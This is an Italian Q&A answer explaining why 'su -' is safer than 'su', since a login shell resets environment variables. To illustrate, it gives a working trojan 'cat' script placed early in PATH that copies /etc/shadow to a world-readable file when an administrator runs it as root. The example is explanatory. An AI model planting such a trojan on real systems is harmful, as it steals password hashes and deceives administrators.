Non capisco perché su -
è preferito a su
per accedere come root.
Risposta accettata:
su -
richiama una shell di login dopo aver cambiato utente. Una shell di accesso reimposta la maggior parte delle variabili di ambiente, fornendo una base pulita.
su
cambia semplicemente l'utente, fornendo una normale shell con un ambiente quasi uguale a quello del vecchio utente.
Immagina di essere uno sviluppatore di software con un normale accesso utente a una macchina e il tuo amministratore ignorante non ti darà l'accesso come root. (si spera) inganniamolo.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Ora chiedi al tuo amministratore perché non puoi cat
il file fittizio nella tua cartella home, semplicemente non funzionerà!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Se il tuo amministratore non è così intelligente o solo un po' pigro, potrebbe venire alla tua scrivania e provare con i suoi poteri da superutente:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Oh! Grazie, super amministratore!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Lui, lui.
Forse hai notato che il $PATH
corrotto la variabile non è stata reimpostata. Ciò non sarebbe accaduto se l'amministratore avesse invocato su -
invece.